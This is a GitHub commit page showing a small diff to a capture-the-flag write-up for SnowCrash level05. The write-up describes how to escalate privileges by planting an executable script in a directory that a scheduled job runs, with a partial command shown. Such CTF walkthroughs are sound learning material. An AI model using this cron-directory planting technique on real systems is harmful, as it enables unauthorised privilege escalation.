Skip to content

Commit

Permalink
Update README.mdx
Browse files Browse the repository at this point in the history
  • Loading branch information
nuoxoxo authored Nov 17, 2024
1 parent 81cf521 commit a4ef932
Showing 1 changed file with 3 additions and 3 deletions.
6 changes: 3 additions & 3 deletions level05/README.mdx
Original file line number Diff line number Diff line change
Expand Up @@ -49,7 +49,7 @@ What this script does:

Exploit
- put a script inside `/opt/openarenaserver/`
- use `tee` : _read stdin and write to stdout and files_
- ~~use `tee` : _read stdin and write to stdout and files_~~
- let it be run in 2min

```bash
Expand All @@ -58,6 +58,6 @@ level05@SnowCrash:~$ echo '/bin/getflag > /tmp/temp' \
chmod +x /opt/openarenaserver/solve.sh

# remember
# `/usr/sbin/openarenaserver` runs `bash -x "$i"` in a subshell
# it won't stdout anything whether we use `tee` `tee /dev/tty` or `sync`
# `/usr/sbin/openarenaserver` runs `bash -x` in a subshell
# it'll stdout nothing whether we `tee` `tee /dev/tty` or `sync`
```

0 comments on commit a4ef932

Please sign in to comment.